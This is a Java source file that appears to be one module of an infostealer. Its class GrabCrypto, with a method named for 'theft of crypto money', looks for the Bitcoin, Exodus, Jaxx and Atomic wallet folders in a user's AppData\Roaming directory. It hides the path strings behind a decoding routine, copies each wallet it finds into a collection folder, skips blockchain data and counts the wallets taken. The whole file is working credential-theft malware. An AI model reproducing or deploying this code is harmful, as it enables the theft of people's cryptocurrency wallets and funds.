package procat.sbor;


import procat.ui.Nastroiki;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class GrabCrypto implements Runnable {


    public static int stetchik_money = 0;

    private static void krazhaCryptoMoney() {
        Nastroiki nastr = new Nastroiki();
        String pc_put = nastr.decrName(nastr.getC_user_put()) + System.getProperty("user.name");
        String file_put_crypto = Nastroiki.getFolder()+nastr.decrName(nastr.getCrypto_wallet_put());



        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getBitcoin()), file_put_crypto + nastr.decrName(nastr.getBitcoin()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getExodus()), file_put_crypto + nastr.decrName(nastr.getExodus()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getPut_com()) + nastr.decrName(nastr.getPut_liberty()) + nastr.decrName(nastr.getPut_jaxx()), file_put_crypto + nastr.decrName(nastr.getJaxx()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getAtomic()), file_put_crypto + nastr.decrName(nastr.getAtomic()));
    }

    private static void sbor(String str_put, String str_log) {
        try {
            if (new File(str_put).exists()) {
                if (!new File(str_log).exists()) {
                    new File(str_log).mkdirs();

                    copyDir(str_put, str_log);
                    if (new File(str_put+"\\blocks").exists()) {
                        org.apache.commons.io.FileUtils.deleteDirectory(new File(str_log+"\\blocks"));
                    }
                    stetchik_money += 1;
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private static void copyDir(String sourceDirectoryLocation, String destinationDirectoryLocation)
            throws IOException {
        org.apache.commons.io.FileUtils.copyDirectory(new File(sourceDirectoryLocation), new File(destinationDirectoryLocation));
    }

    @Override
    public void run() {
        krazhaCryptoMoney();
    }
}
